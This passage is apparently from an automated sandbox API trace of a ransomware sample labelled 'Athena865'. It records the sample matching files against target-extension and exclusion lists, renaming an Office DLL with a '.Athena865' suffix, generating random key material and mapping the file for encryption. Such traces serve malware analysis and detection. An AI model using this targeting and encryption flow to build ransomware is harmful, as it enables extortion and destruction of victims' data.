(lpString="dbv") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0076.002] lstrlenW (lpString="dbx") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0076.002] lstrlenW (lpString="dcb") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0076.002] lstrlenW (lpString="dct") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0076.002] lstrlenW (lpString="dcx") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0076.002] lstrlenW (lpString="ddl") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0076.002] lstrlenW (lpString="dlis") returned 4 [0076.002] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0076.002] lstrlenW (lpString="dp1") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0076.002] lstrlenW (lpString="dqy") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0076.002] lstrlenW (lpString="dsk") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0076.002] lstrlenW (lpString="dsn") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0076.002] lstrlenW (lpString="dtsx") returned 4 [0076.002] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0076.002] lstrlenW (lpString="dxl") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0076.002] lstrlenW (lpString="eco") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0076.002] lstrlenW (lpString="ecx") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0076.002] lstrlenW (lpString="edb") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0076.003] lstrlenW (lpString="epim") returned 4 [0076.003] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0076.003] lstrlenW (lpString="fcd") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0076.003] lstrlenW (lpString="fdb") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0076.003] lstrlenW (lpString="fic") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0076.003] lstrlenW (lpString="flexolibrary") returned 12 [0076.003] lstrlenW (lpString="fm5") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0076.003] lstrlenW (lpString="fmp") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0076.003] lstrlenW (lpString="fmp12") returned 5 [0076.003] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0076.003] lstrlenW (lpString="fmpsl") returned 5 [0076.003] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 [0076.003] lstrlenW (lpString="fol") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0076.003] lstrlenW (lpString="fp3") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0076.003] lstrlenW (lpString="fp4") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0076.003] lstrlenW (lpString="fp5") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0076.003] lstrlenW (lpString="fp7") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0076.003] lstrlenW (lpString="fpt") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0076.003] lstrlenW (lpString="frm") returned 3 [0076.003] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0076.003] lstrlenW (lpString="gdb") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0076.004] lstrlenW (lpString="gdb") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0076.004] lstrlenW (lpString="grdb") returned 4 [0076.004] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0076.004] lstrlenW (lpString="gwi") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0076.004] lstrlenW (lpString="hdb") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0076.004] lstrlenW (lpString="his") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0076.004] lstrlenW (lpString="ib") returned 2 [0076.004] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0076.004] lstrlenW (lpString="idb") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0076.004] lstrlenW (lpString="ihx") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0076.004] lstrlenW (lpString="itdb") returned 4 [0076.004] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0076.004] lstrlenW (lpString="itw") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0076.004] lstrlenW (lpString="jet") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0076.004] lstrlenW (lpString="jtx") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0076.004] lstrlenW (lpString="kdb") returned 3 [0076.004] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0076.004] lstrlenW (lpString="kexi") returned 4 [0076.004] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0076.004] lstrlenW (lpString="kexic") returned 5 [0076.004] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0076.004] lstrlenW (lpString="kexis") returned 5 [0076.005] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0076.005] lstrlenW (lpString="lgc") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0076.005] lstrlenW (lpString="lwx") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0076.005] lstrlenW (lpString="maf") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0076.005] lstrlenW (lpString="maq") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0076.005] lstrlenW (lpString="mar") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0076.005] lstrlenW (lpString="marshal") returned 7 [0076.005] lstrcmpiW (lpString1="7fr.dll", lpString2="marshal") returned -1 [0076.005] lstrlenW (lpString="mas") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0076.005] lstrlenW (lpString="mav") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0076.005] lstrlenW (lpString="maw") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0076.005] lstrlenW (lpString="mdbhtml") returned 7 [0076.005] lstrcmpiW (lpString1="7fr.dll", lpString2="mdbhtml") returned -1 [0076.005] lstrlenW (lpString="mdn") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0076.005] lstrlenW (lpString="mdt") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0076.005] lstrlenW (lpString="mfd") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0076.005] lstrlenW (lpString="mpd") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0076.005] lstrlenW (lpString="mrg") returned 3 [0076.005] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0076.006] lstrlenW (lpString="mud") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0076.006] lstrlenW (lpString="mwb") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0076.006] lstrlenW (lpString="myd") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0076.006] lstrlenW (lpString="ndf") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0076.006] lstrlenW (lpString="nnt") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0076.006] lstrlenW (lpString="nrmlib") returned 6 [0076.006] lstrcmpiW (lpString1="fr.dll", lpString2="nrmlib") returned -1 [0076.006] lstrlenW (lpString="ns2") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0076.006] lstrlenW (lpString="ns3") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0076.006] lstrlenW (lpString="ns4") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0076.006] lstrlenW (lpString="nsf") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0076.006] lstrlenW (lpString="nv") returned 2 [0076.006] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0076.006] lstrlenW (lpString="nv2") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0076.006] lstrlenW (lpString="nwdb") returned 4 [0076.006] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0076.006] lstrlenW (lpString="nyf") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0076.006] lstrlenW (lpString="odb") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0076.006] lstrlenW (lpString="odb") returned 3 [0076.006] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0076.007] lstrlenW (lpString="oqy") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0076.007] lstrlenW (lpString="ora") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0076.007] lstrlenW (lpString="orx") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0076.007] lstrlenW (lpString="owc") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0076.007] lstrlenW (lpString="p96") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0076.007] lstrlenW (lpString="p97") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0076.007] lstrlenW (lpString="pan") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0076.007] lstrlenW (lpString="pdb") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0076.007] lstrlenW (lpString="pdm") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0076.007] lstrlenW (lpString="pnz") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0076.007] lstrlenW (lpString="qry") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0076.007] lstrlenW (lpString="qvd") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0076.007] lstrlenW (lpString="rbf") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0076.007] lstrlenW (lpString="rctd") returned 4 [0076.007] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0076.007] lstrlenW (lpString="rod") returned 3 [0076.007] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0076.007] lstrlenW (lpString="rodx") returned 4 [0076.007] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0076.007] lstrlenW (lpString="rpd") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0076.008] lstrlenW (lpString="rsd") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0076.008] lstrlenW (lpString="sas7bdat") returned 8 [0076.008] lstrcmpiW (lpString1="s7fr.dll", lpString2="sas7bdat") returned -1 [0076.008] lstrlenW (lpString="sbf") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0076.008] lstrlenW (lpString="scx") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0076.008] lstrlenW (lpString="sdb") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0076.008] lstrlenW (lpString="sdc") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0076.008] lstrlenW (lpString="sdf") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0076.008] lstrlenW (lpString="sis") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0076.008] lstrlenW (lpString="spq") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0076.008] lstrlenW (lpString="te") returned 2 [0076.008] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0076.008] lstrlenW (lpString="teacher") returned 7 [0076.008] lstrcmpiW (lpString1="7fr.dll", lpString2="teacher") returned -1 [0076.008] lstrlenW (lpString="tmd") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0076.008] lstrlenW (lpString="tps") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0076.008] lstrlenW (lpString="trc") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0076.008] lstrlenW (lpString="trc") returned 3 [0076.008] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0076.008] lstrlenW (lpString="trm") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0076.009] lstrlenW (lpString="udb") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0076.009] lstrlenW (lpString="udl") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0076.009] lstrlenW (lpString="usr") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0076.009] lstrlenW (lpString="v12") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0076.009] lstrlenW (lpString="vis") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0076.009] lstrlenW (lpString="vpd") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0076.009] lstrlenW (lpString="vvv") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0076.009] lstrlenW (lpString="wdb") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0076.009] lstrlenW (lpString="wmdb") returned 4 [0076.009] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0076.009] lstrlenW (lpString="wrk") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0076.009] lstrlenW (lpString="xdb") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0076.009] lstrlenW (lpString="xld") returned 3 [0076.009] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0076.009] lstrlenW (lpString="xmlff") returned 5 [0076.009] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1 [0076.009] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mscss7fr.dll.Athena865") returned 65 [0076.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7fr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7fr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7fr.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7fr.dll.athena865"), dwFlags=0x1) returned 1 [0076.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7fr.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7fr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.011] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=480152) returned 1 [0076.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.012] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.012] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.012] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.012] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x756a0, lpName=0x0) returned 0x17c [0076.014] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x756a0) returned 0x2d50000 [0076.035] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.036] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.036] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.037] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0076.041] CloseHandle (hObject=0x17c) returned 1 [0076.041] CloseHandle (hObject=0x154) returned 1 [0076.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.043] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfc9700, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dfc9700, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mscss7wre_en.dub", cAlternateFileName="MS79E7~1.DUB")) returned 1 [0076.043] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.043] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.043] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2=".") returned 1 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="..") returned 1 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="windows") returned -1 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="bootmgr") returned 1 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="temp") returned -1 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="pagefile.sys") returned -1 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="boot") returned 1 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="ids.txt") returned 1 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="ntuser.dat") returned -1 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="perflogs") returned -1 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2="MSBuild") returned 1 [0076.044] lstrlenW (lpString="mscss7wre_en.dub") returned 16 [0076.044] lstrcpyW (in: lpString1=0x241e89e, lpString2="mscss7wre_en.dub" | out: lpString1="mscss7wre_en.dub") returned="mscss7wre_en.dub" [0076.044] lstrlenW (lpString="mscss7wre_en.dub") returned 16 [0076.044] lstrlenW (lpString="Athena865") returned 9 [0076.044] lstrcmpiW (lpString1="re_en.dub", lpString2="Athena865") returned 1 [0076.044] lstrlenW (lpString=".dll") returned 4 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2=".dll") returned 1 [0076.044] lstrlenW (lpString=".lnk") returned 4 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2=".lnk") returned 1 [0076.044] lstrlenW (lpString=".ini") returned 4 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2=".ini") returned 1 [0076.044] lstrlenW (lpString=".sys") returned 4 [0076.044] lstrcmpiW (lpString1="mscss7wre_en.dub", lpString2=".sys") returned 1 [0076.044] lstrlenW (lpString="mscss7wre_en.dub") returned 16 [0076.044] lstrlenW (lpString="bak") returned 3 [0076.044] lstrcmpiW (lpString1="dub", lpString2="bak") returned 1 [0076.044] lstrlenW (lpString="ba_") returned 3 [0076.044] lstrcmpiW (lpString1="dub", lpString2="ba_") returned 1 [0076.044] lstrlenW (lpString="dbb") returned 3 [0076.044] lstrcmpiW (lpString1="dub", lpString2="dbb") returned 1 [0076.044] lstrlenW (lpString="vmdk") returned 4 [0076.044] lstrcmpiW (lpString1=".dub", lpString2="vmdk") returned -1 [0076.045] lstrlenW (lpString="rar") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="rar") returned -1 [0076.045] lstrlenW (lpString="zip") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="zip") returned -1 [0076.045] lstrlenW (lpString="tgz") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="tgz") returned -1 [0076.045] lstrlenW (lpString="vbox") returned 4 [0076.045] lstrcmpiW (lpString1=".dub", lpString2="vbox") returned -1 [0076.045] lstrlenW (lpString="vdi") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="vdi") returned -1 [0076.045] lstrlenW (lpString="vhd") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="vhd") returned -1 [0076.045] lstrlenW (lpString="vhdx") returned 4 [0076.045] lstrcmpiW (lpString1=".dub", lpString2="vhdx") returned -1 [0076.045] lstrlenW (lpString="avhd") returned 4 [0076.045] lstrcmpiW (lpString1=".dub", lpString2="avhd") returned -1 [0076.045] lstrlenW (lpString="db") returned 2 [0076.045] lstrcmpiW (lpString1="ub", lpString2="db") returned 1 [0076.045] lstrlenW (lpString="db2") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="db2") returned 1 [0076.045] lstrlenW (lpString="db3") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="db3") returned 1 [0076.045] lstrlenW (lpString="dbf") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="dbf") returned 1 [0076.045] lstrlenW (lpString="mdf") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="mdf") returned -1 [0076.045] lstrlenW (lpString="mdb") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="mdb") returned -1 [0076.045] lstrlenW (lpString="sql") returned 3 [0076.045] lstrcmpiW (lpString1="dub", lpString2="sql") returned -1 [0076.045] lstrlenW (lpString="sqlite") returned 6 [0076.045] lstrcmpiW (lpString1="en.dub", lpString2="sqlite") returned -1 [0076.046] lstrlenW (lpString="sqlite3") returned 7 [0076.046] lstrcmpiW (lpString1="_en.dub", lpString2="sqlite3") returned -1 [0076.046] lstrlenW (lpString="sqlitedb") returned 8 [0076.046] lstrcmpiW (lpString1="e_en.dub", lpString2="sqlitedb") returned -1 [0076.046] lstrlenW (lpString="xml") returned 3 [0076.046] lstrcmpiW (lpString1="dub", lpString2="xml") returned -1 [0076.046] lstrlenW (lpString="$er") returned 3 [0076.046] lstrcmpiW (lpString1="dub", lpString2="$er") returned 1 [0076.046] lstrlenW (lpString="4dd") returned 3 [0076.046] lstrcmpiW (lpString1="dub", lpString2="4dd") returned 1 [0076.046] lstrlenW (lpString="4dl") returned 3 [0076.046] lstrcmpiW (lpString1="dub", lpString2="4dl") returned 1 [0076.046] lstrlenW (lpString="^^^") returned 3 [0076.046] lstrcmpiW (lpString1="dub", lpString2="^^^") returned 1 [0076.046] lstrlenW (lpString="abs") returned 3 [0076.046] lstrcmpiW (lpString1="dub", lpString2="abs") returned 1 [0076.046] lstrlenW (lpString="abx") returned 3 [0076.046] lstrcmpiW (lpString1="dub", lpString2="abx") returned 1 [0076.046] lstrlenW (lpString="accdb") returned 5 [0076.046] lstrcmpiW (lpString1="n.dub", lpString2="accdb") returned 1 [0076.046] lstrlenW (lpString="accdc") returned 5 [0076.046] lstrcmpiW (lpString1="n.dub", lpString2="accdc") returned 1 [0076.046] lstrlenW (lpString="accde") returned 5 [0076.046] lstrcmpiW (lpString1="n.dub", lpString2="accde") returned 1 [0076.046] lstrlenW (lpString="accdr") returned 5 [0076.046] lstrcmpiW (lpString1="n.dub", lpString2="accdr") returned 1 [0076.046] lstrlenW (lpString="accdt") returned 5 [0076.046] lstrcmpiW (lpString1="n.dub", lpString2="accdt") returned 1 [0076.046] lstrlenW (lpString="accdw") returned 5 [0076.046] lstrcmpiW (lpString1="n.dub", lpString2="accdw") returned 1 [0076.046] lstrlenW (lpString="accft") returned 5 [0076.046] lstrcmpiW (lpString1="n.dub", lpString2="accft") returned 1 [0076.047] lstrlenW (lpString="adb") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="adb") returned 1 [0076.047] lstrlenW (lpString="adb") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="adb") returned 1 [0076.047] lstrlenW (lpString="ade") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="ade") returned 1 [0076.047] lstrlenW (lpString="adf") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="adf") returned 1 [0076.047] lstrlenW (lpString="adn") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="adn") returned 1 [0076.047] lstrlenW (lpString="adp") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="adp") returned 1 [0076.047] lstrlenW (lpString="alf") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="alf") returned 1 [0076.047] lstrlenW (lpString="ask") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="ask") returned 1 [0076.047] lstrlenW (lpString="btr") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="btr") returned 1 [0076.047] lstrlenW (lpString="cat") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="cat") returned 1 [0076.047] lstrlenW (lpString="cdb") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="cdb") returned 1 [0076.047] lstrlenW (lpString="ckp") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="ckp") returned 1 [0076.047] lstrlenW (lpString="cma") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="cma") returned 1 [0076.047] lstrlenW (lpString="cpd") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="cpd") returned 1 [0076.047] lstrlenW (lpString="dacpac") returned 6 [0076.047] lstrcmpiW (lpString1="en.dub", lpString2="dacpac") returned 1 [0076.047] lstrlenW (lpString="dad") returned 3 [0076.047] lstrcmpiW (lpString1="dub", lpString2="dad") returned 1 [0076.047] lstrlenW (lpString="dadiagrams") returned 10 [0076.048] lstrcmpiW (lpString1="wre_en.dub", lpString2="dadiagrams") returned 1 [0076.048] lstrlenW (lpString="daschema") returned 8 [0076.048] lstrcmpiW 